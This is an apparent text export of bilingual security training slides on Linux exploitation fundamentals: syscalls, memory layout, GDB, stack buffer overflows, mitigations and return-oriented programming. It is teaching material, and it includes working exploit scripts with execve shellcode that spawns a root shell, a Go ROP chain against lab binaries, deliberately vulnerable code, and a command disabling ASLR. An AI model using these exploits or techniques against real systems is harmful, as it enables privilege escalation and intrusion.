Exploitation Fundamentals
2020 Jan 22th
@rung - Mercari Security Team
日本語(Japanese)
Github Repository: https://github.com/rung/training-exploit-fundamentals
Caution
Prepareration
docker pull suezawa/exploit-example1 && docker pull suezawa/exploit-exercise1 && docker pull suezawa/exploit-exercise2 && docker pull suezawa/exploit-exercise3 |
Cheat sheet
Introduction
Introduction
Security is fun
Introduction
進め方
Introduction
Environment
Introduction
(Reference) Environment
Mac
VM/Hypervisor
Linux Kernel
Container1
Container2
Container3...
Introduction
攻撃の種類
�
Company / Cloud
Computer Systems
Computer Systems
What OS does
Computer
CPU
Memory
External Device
I/O Device
Storage Device
Network
OS
(Linux Kernel)
Application
Network Adapter A
Storage Device A
Storage Device B
Keyboard
Standard interface
Device driver
Computer Systems
What OS does
Resource Management
OS
(Linux Kernel)
Application Process1
Application Process2
Application Process3
Application Process3
Scheduling
Memory Management
Computer Systems
System call (Syscall)
Standard Interface (System call)
OS (Linux Kernel)
Process A
libc (standard library)
System Call
Hardware
User land
(ユーザーランド)
Kernel
Computer Systems
System call (Syscall)
Computer Systems
System call (Syscall) - libc
Syscall
Process
Return
Kernel
Process
User Mode
Kernel Mode
Computer Systems
[Demo] Hello Worldからシステムコールの呼び出しをみる
#include <sys/syscall.h> int main() { syscall(SYS_write, 1, "Hello World!\n", 14); return 0; } |
SYS_write = 1
Hello World!\n\0�(\0 is a null character)
Computer Systems
[Demo] Hello Worldからシステムコールの呼び出しをみる
$ docker run --rm -it suezawa/exploit-example1 bash�root@d267406bb2b6:/home/appuser# ./hello Hello World! |
root@d267406bb2b6:/home/appuser# strace ./hello |
root@d267406bb2b6:/home/appuser# # strace -e trace=write ./hello write(1, "Hello World!\n\0", 14Hello World! ) = 14 +++ exited with 0 +++ |
Computer Systems
[Demo] Hello Worldからシステムコールの呼び出しをみる
root@42fdb5c98a68:/home/appuser# strace ./hello execve("./hello", ["./hello"], 0x7ffd09c3a070 /* 10 vars */) = 0 brk(NULL) = 0x1639000 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory) openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3 fstat(3, {st_mode=S_IFREG|0644, st_size=21467, ...}) = 0 mmap(NULL, 21467, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f183e438000 close(3) = 0 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3 read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\260\34\2\0\0\0\0\0"..., 832) = 832 fstat(3, {st_mode=S_IFREG|0755, st_size=2030544, ...}) = 0 mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f183e436000 mmap(NULL, 4131552, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f183de26000 mprotect(0x7f183e00d000, 2097152, PROT_NONE) = 0 mmap(0x7f183e20d000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1e7000) = 0x7f183e20d000 mmap(0x7f183e213000, 15072, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7f183e213000 close(3) = 0 arch_prctl(ARCH_SET_FS, 0x7f183e4374c0) = 0 mprotect(0x7f183e20d000, 16384, PROT_READ) = 0 mprotect(0x600000, 4096, PROT_READ) = 0 mprotect(0x7f183e43e000, 4096, PROT_READ) = 0 munmap(0x7f183e438000, 21467) = 0 write(1, "Hello World!\n\0", 14Hello World! ) = 14 exit_group(0) = ? +++ exited with 0 +++ root@42fdb5c98a68:/home/appuser# |
Computer Systems
CPU
Computer Systems
CPU
Memory
machine code
010101010111101101010101010
Address
(Instraction Pointer
Program Counter)
RIP
Memory (Stack)
Stack for function1()
Stack Pointer
Stack for main()
RSP
RBP
Base Pointer
Computer Systems
CPU
Memory
machine code
010101010111101101010101010101101010101011011010101010101101010111010010110101010101
Execution
Computer Systems
CPU
xor A, B | AとBをxorする。Aに結果が入る |
mov A, B | BをAに移す |
add/sub A, B | Aの値にBを足す/Aの値からBを引く |
push/pop A | Aの値をスタック(メモリ上)にpushする/スタックから値をpopする |
call [memory address] | 別関数にジャンプする + 戻りアドレスをスタックにpushする ※関数に入るときに使う |
leave | スタックをrbpと同じアドレスに戻す + pop rbpする (mov esp, ebp ; pop ebp) |
ret | スタックの一番上に詰まれている値(RSP)にジャンプする + スタックの一番上の値をpopする※元の関数に戻るときに使う |
syscall | システムコールを呼び出す |
Computer Systems
[Demo] Let’s see aseembly
int main() {
syscall(SYS_write, 1, "Hello World!\n", 14);�
return 0;�}
$ docker run --rm -it suezawa/exploit-example1 bash root@ab61fa957ebd:/home/appuser# objdump -M intel -l -S -d hello | grep -A12 "<main>:" 00000000004004c2 <main>: main():�� 4004c2: 55 push rbp 4004c3: 48 89 e5 mov rbp,rsp�� 4004c6: b9 0e 00 00 00 mov ecx,0xe 4004cb: ba 74 05 40 00 mov edx,0x400574 4004d0: be 01 00 00 00 mov esi,0x1 4004d5: bf 01 00 00 00 mov edi,0x1 4004da: b8 00 00 00 00 mov eax,0x0 4004df: e8 fc fe ff ff call 4003e0 <syscall@plt>� 4004e4: b8 00 00 00 00 mov eax,0x0 4004e9: 5d pop rbp 4004ea: c3 ret |
Computer Systems
Executable file
root@cbe820491a8f:/home/appuser# file hello.s hello.s: assembler source, ASCII text root@cbe820491a8f:/home/appuser# file hello.o hello.o: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), with debug_info, not stripped root@cbe820491a8f:/home/appuser# file hello hello: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, not stripped |
Assembly Code
.main
push rbp
mov rbp, rsp
mov ecx, 14
mov esi, 1
….
Assemble
Source Code
#include <sys/syscall.h>
int main() {
syscall(SYS_write, 1, "Hello World!\n", 14);
return 0;
}
Compile
Object file
Machine code�010101010010101110101100101010101010010
ELF file (Executable)
Link
Machine code�010101010010101110101100101010101010010
Memory Info
library info
gcc -v -c hello.s -o hello.o
Assembler: as (gcc is wrapper)
gcc -v hello.o -o hello�Linker: ld (gcc is wrapper)
gcc -v -S hello.c -masm=intel -o hello.s�C Compiler: cc1
Computer Systems
Executable file
��
ELF file (Executable)
Machine code�010101010010101110101100101010101010010
Memory Info
library info
libc.so
root@86be50368e20:/home/appuser# ldd hello linux-vdso.so.1 (0x00007ffdbc983000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ff9c6614000) /lib64/ld-linux-x86-64.so.2 (0x00007ff9c6a05000) |
root@1e862b573a86:/home/appuser# ldd static_hello not a dynamic executable |
ELF file (Executable)
Machine code (main)�010101010010101110101100101010101010010
Memory Info
Machine code (libc)�010101010010101110101100101010101010010
Dynamic Link
Static Link
Computer Systems
Program Execution
Linux Kernel
ELF executable
Load
0xffffffffffffffff
0x00
Virtual Memory (仮想メモリ)
Machine Code(.text Segment)
.rodata Segment
.bss Segment
Heap segment ↓���������Stack Segment ↑
main() 0101010101
libc 010010011010100101
.data Segment
* Only major segments included
Computer Systems
Physical Memory/Virtual Memory
Linux Kernel
Virtual Memory | Physical Memory |
0-100 | 700-800 |
100-200 | 200-300 |
200-300 | 400-500 |
Page table
Process A
Process B
Process C
Manage
Computer Systems
Physical Memory/Virtual Memory
Process B
RIP (instruction pointer)
RIP (instruction pointer)
※GDBでメモリを確認する� 仮想メモリを利用しているので、別プロセスにも関わらず、同じメモリアドレスを利用できる。
RIP(現在実行している命令)が同じアドレスを指せる ※同じアドレスでも、入っている内容は異なる
Process A
Computer Systems
Memory Layout
Machine Code(.text Segment)
.rodata Segment
.bss Segment
Heap segment ↓���������Stack Segment ↑
0xffffffffffffffff
0x00
main() 0101010101
libc 010010011010100101
CPUが実行していく機械語(Machine Code)が入っている。
実行している命令のアドレスはRIP(Instraction Pointer)レジスタに入る。
Stack領域。高いアドレスから低いアドレスに伸びていく。
次ページで詳細を解説
今回主に使うのはtext領域とStack領域
malloc()で確保していく動的な領域
初期値なしのstatic変数・グローバル変数用領域
初期値ありのstatic変数・グローバル変数
* Only major segments included
.data Segment
定数(const)、文字列
Computer Systems
[Exercise] What we will do
# ./func_call Hello function1: arg1:Hello,arg2:1,var1:10 function2: arg1:Hello,arg2:2,var1:test,var2:20 |
Computer Systems
[Exercise] Stack Frame
Stack Segment ↑
High Address
Virtual Memory (仮想メモリ)
Low Address
Return Address
Local Variables
main()
Return Address
Local Variables
function1()
Saved RBP
Saved RBP (main())
function(arg1, arg2, arg3, arg4, arg5, arg6, arg7, arg8); |
RDI
RSI
RDX
RCX
R8
R9
Use stack
RSP
RBP
Computer Systems
[Exercise] Demo
Computer Systems
[Exercise] Demo
#include <stdio.h> #include <string.h> void function2(char *arg1, int arg2) { char var1[5]; strcpy(var1, "test"); int var2 = 20; printf(" function2: arg1:%s,arg2:%d,var1:%s,var2:%d\n", arg1, arg2, var1, var2); return; } void function1(char *arg1, int arg2) { int var1 = 10; printf(" function1: arg1:%s,arg2:%d,var1:%d\n", arg1, arg2, var1); function2(arg1, 2); return; } int main() { printf("%s", "Hello\n"); function1("Hello", 1); return 0; } |
Computer Systems
GDB Tutorial
起動時
GDB内
レジスタ
機械語のDisassemble
スタック(RSP)
に詰まれている値
ソースコード(Exercise1のみ)
※実行ファイルにデバッグ情報が含まれている場合に表示
start | main()にbreakpointをsetして起動 |
run (r) | 起動 |
continue (c) | 実行を進める.breakpointがあると止まる |
break(b) *<address> | breakpointをset |
nexti (ni) | 1命令進める. call命令で別functionに飛ばない |
stepi (si) | 1命令進める. call命令で別functionに飛ぶ |
gdb <file> | GDB起動 |
Computer Systems
[Exercise] Demo
GDB with Stack Layout Image
Computer Systems
[Exercise] 関数呼び出しを追う
2. Stack Buffer Overflow
Stack Buffer Overflow
Demo
# ls -l bof -rwsr-sr-x 1 root root 8248 Jan 7 16:44 bof # (setuid) |
Stack Buffer Overflow
Demo - Attacking using exploit_print.py
Stack Buffer Overflow
What is Stack Buffer Overflow
Stack Segment ↑
High Address
Virtual Memory (仮想メモリ)
Low Address
Return Address
Local Variables� char buf[100] (100byte)
Saved RBP
main()
gets(), strcpy(), scanf()
Write 200byte
Payload�(Shellcode)
Stack Buffer Overflow
How to attack
#include <stdio.h> int main() { char buf[100]; setlinebuf(stdout); printf("buf = %p\n", buf); gets(buf); puts(buf); return 0; } |
# python -c "print ('A'*200)" | ./bof buf = 0x7fffffffe610 AAAAAAAAAAAAAAAA….. Segmentation fault root@b1df66264e7e:/home/appuser# |
Stack Buffer Overflow
How to attack
Stack Segment ↑
High Address
Low Address
Return Address
Local Variables� char buf[100] (100byte)
Shellcode (Payload) in Machine Code
AAAAAAAAAAAAAAAAAA
Shellcode Address
$ ./bof buf = 0x7fffffffe610 |
Stack Buffer Overflow
Exploit
#!/usr/bin/python import ... # Write value of 'buf = ' buf_addr = int(sys.argv[1], 16) # offset from buf: 120 # shellcode = 60 byte # dummy = 60 byte('A') shellcode = '\x48\x31\xc0\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x50\x49\x89\xe0\x48\x31\xc0\x48\xc7\xc0\x2d\x70\x00\x00\x50\x49\x89\xe1\x48\x31\xc0\x50\x41\x51\x41\x50\x49\x89\xe2\x48\xc7\xc0\x3b\x00\x00\x00\x4c\x89\xc7\x4c\x89\xd6\x48\x31\xd2\x0f\x05' shellcode += 'A' * 60 # return address shellcode += struct.pack('<Q', buf_addr) print(shellcode) sys.stdout.flush() # if len(sys.argv) == 2 and sys.argv[1] == "printonly":... (skip)� while True: print(sys.stdin.readline()) sys.stdout.flush() |
Adjust stack
Overwrite Return pointer
struct.pack(‘<Q’, ...) = Write 64bit integer by little endian
Stack Buffer Overflow
Shellcode
�
rax | rdi | rsi | rdx |
59 (SYS_execve) | “/bin/sh”�(pointer) | [“/bin/sh”, “-p”]�(pointer) | 0�(NULL) |
Stack Buffer Overflow
Shellcode
rax | rdi | rsi | rdx |
59 (0x3b) (SYS_execve) | “/bin/sh”�(pointer) | [“/bin/sh”, “-p”]�(pointer) | 0�(NULL) |
Registers
Stack
pointer of “/bin/sh”
pointer of “-p”
null pointer (\0\0\0\0\0\0\0\0)
array
‘-p\0\0\0\0\0\0’
‘/bin/sh\0’
64bit
Stack Buffer Overflow
Exercise - GDB Demo
Stack Buffer Overflow
Exercise
# sysctl -w kernel.randomize_va_space=2 kernel.randomize_va_space = 2 |
# sysctl -w kernel.randomize_va_space=0 kernel.randomize_va_space = 0 |
3. Advanced
Advanced
Overview
Advanced
Mitigation
# checksec --file a.out RELRO STACK CANARY NX PIE .... FILE Full RELRO Canary found NX enabled PIE enabled .... a.out |
Advanced
NX bit(No eXecute bit) / DEP
0xffffffffffffffff
0x00
Virtual Memory (仮想メモリ)
Machine Code(.text Segment)
.rodata Segment
.bss Segment
Heap segment ↓���������Stack Segment ↑
main() 0101010101
libc 010010011010100101
.data Segment
* Only major segments included
No Execute
Execute
Advanced
ASLR (Address Space Layout Randomization)
0xffffffffffffffff
0x00
Virtual Memory (仮想メモリ)
Machine Code(.text Segment)
.rodata Segment
.bss Segment
Heap segment ↓���������Stack Segment ↑
main() 0101010101
libc 010010011010100101
.data Segment
* Only major segments included
randomize
Advanced
SSP (Stack Smashing Protection, Stack Canary)
Stack Segment ↑
High Address
Virtual Memory (仮想メモリ)
Low Address
Return Address
Local Variables
main()
Return Address
Local Variables
function1()
Saved RBP
Saved RBP (main())
Stack Canary
Stack Canary
Advanced
C
# checksec --file a.out RELRO STACK CANARY NX PIE .... FILE Full RELRO Canary found NX enabled PIE enabled .... hello a.out |
Advanced
Go
$ bin/checksec --file hello RELRO STACK CANARY NX PIE .... FILE No RELRO No canary found NX enabled No PIE .... hello |
Advanced
Exercise - Unsafe Library
func main() { buf := make([]byte, 32) stdin := bufio.NewScanner(os.Stdin) stdin.Scan() text := stdin.Text() memcpy(*(*uintptr)(unsafe.Pointer(&buf)), *(*uintptr)(unsafe.Pointer(&text)), len(text)) ... } func memcpy(dst uintptr, src uintptr, len int) { for i := 0; i < len; i++ { *(*int8)(unsafe.Pointer(dst)) = *(*int8)(unsafe.Pointer(src)) dst += 1 src += 1 } } |
参考: SECCON CTF2017の問題を一部変更して使用しています
Stack Buffer Overflow
buf[32]
Advanced
Demo
Advanced
Demo - Attacking using exploit_print.py
Advanced
IDA Pro
Advanced
[Demo] IDA Pro
Advanced
Stack Frame (Go)
Stack Segment ↑
High Address
Virtual Memory (仮想メモリ)
Low Address
Return Address
Local Variables
Saved RBP
Arguments
Return values
Return Address
Local Variables
Saved RBP
Arguments
Return values
function1
function2
Go
Advanced
Stack Frame (Go)
Stack Segment ↑
High Address
Virtual Memory (仮想メモリ)
Low Address
Arguments1: execve(59)
Return values
syscall.� Syscall
Arguments2: “/bin/sh”
Arguments3: [“/bin/sh”, “-p”]
Arguments4: NULL(0x00)
Return address
Local Values
Advanced
How to attack
0xffffffffffffffff
0x00
Virtual Memory (仮想メモリ)
Machine Code(.text Segment)
.rodata Segment
.bss Segment
Heap segment ↓���������Stack Segment ↑
main() 0101010101
.data Segment
* Only major segments included
“/bin/sh\0” “-p\0”, array...
write
Advanced
How to attack - ROP
攻撃の流れ� 1. read() syscall� 2. add rspしてスタック位置の調整� 3. execve() syscall
Return Address
buf[]
Saved RBP
Arguments
Return values
main()�original Stack layout
000000000000000000000000000000000000
&syscall.Syscall
pointer of “add rsp, 0x38; ret”
arg1: read (0)
ret1
ret2
.text segment�
(syscall.Syscall func)� …� syscall� …� ret
(? func)� ...� add rsp, 0x38(56)� ret� ...
arg2: standard input (0)
arg3: .bss address
arg4: 0x100
dummy(0\0\0\0\0\0\0\0)
arg1: execve (59)
arg2: pointer of “/bin/sh”
arg3: pointer of [“/bin/sh”, “-p”]
arg4: 0
.bss segment�
“/bin/sh\0”
“-p\0\0\0\0\0\0”
64bit
pointer of “/bin/sh”
pointer of “-p”
null pointer (\0\0\0\0\0\0\0\0)
Array
Adjust Stack Address
ret3
Overwritten by read()
64bit
dummy(return value1)
dummy(return value2)
dummy(return value3)
&syscall.Syscall
56byte
Advanced
Exploit
攻撃の流れ� 1. read() syscall� 2. add rspしてスタック位置の調整� 3. execve() syscall
addr_bss = 0x564200 shellcode = "\0" * 224 shellcode += struct.pack("<Q", 0x481E40) # Return Pointer(1) -> syscall.Syscall shellcode += struct.pack("<Q", 0x0040197f) # Return Pointer(2) -> (add rsp, 0x38 ; ret) shellcode += struct.pack("<Q", 0) # Arg1 of Syscall: 0 (read) shellcode += struct.pack("<Q", 0) # Arg2 of Syscall: 0 (stdin) shellcode += struct.pack("<Q", addr_bss) # Arg3 of Syscall: .bss shellcode += struct.pack("<Q", 0x100) # Arg4 of Syscall shellcode += struct.pack("<Q", 0) # dummy shellcode += struct.pack("<Q", 0) # dummy shellcode += struct.pack("<Q", 0) # dummy shellcode += struct.pack("<Q", 0x481E40) # Return Pointer(3) -> syscall.Syscall shellcode += struct.pack("<Q", 0) # Return Pointer(4) -> dummy shellcode += struct.pack("<Q", 59) # Arg1 of Syscall: (execve) shellcode += struct.pack("<Q", addr_bss) # Arg2 of Syscall: shellcode += struct.pack("<Q", addr_bss + 0x10) # Arg3 of Syscall: shellcode += struct.pack("<Q", 0) # Arg4 of Syscall print(shellcode) sys.stdout.flush() time.sleep(1) shellstr = "/bin/sh\0" shellstr += "-p\0\0\0\0\0\0" shellstr += struct.pack("<Q", addr_bss) # Arg3 of Syscall: .bss shellstr += struct.pack("<Q", addr_bss + 0x08) # Arg3 of Syscall: .bss shellstr += struct.pack("<Q", 0) # Arg3 of Syscall: .bss print(shellstr) sys.stdout.flush() |
main() func内のscan()向け
呼び出されたread syscall向け
Advanced
Exercise - GDB Demo
GDB with Stack Layout Image
Advanced
Exercise
Advanced
(Reference) ROP (Return-Oriented Programming)
# rp-lin-x64 -f baby_stack -r 1 --unique …�0x00403561: add rsp, 0x30 ; ret ; (199 found) 0x0040197f: add rsp, 0x38 ; ret ; (111 found) 0x00402ae0: add rsp, 0x40 ; ret ; (114 found) … |
address
Advanced
(Reference) .bss segment address
�
# readelf -W -e baby_stack …�Section Headers: [Nr] Name Type Address Off Size ES Flg Lk Inf Al ...� [11] .bss NOBITS 0000000000564200 164200 01b950 00 WA 0 0 32 ... |
gdb-peda$ hexdump 0x564200 48 0x00564200 : 2f 62 69 6e 2f 73 68 00 2d 70 00 00 00 00 00 00 /bin/sh.-p...... 0x00564210 : 00 42 56 00 00 00 00 00 08 42 56 00 00 00 00 00 .BV......BV..... 0x00564220 : 00 00 00 00 00 00 00 00 0a 00 00 00 00 00 00 00 ................ |
Summary
Thanks!
References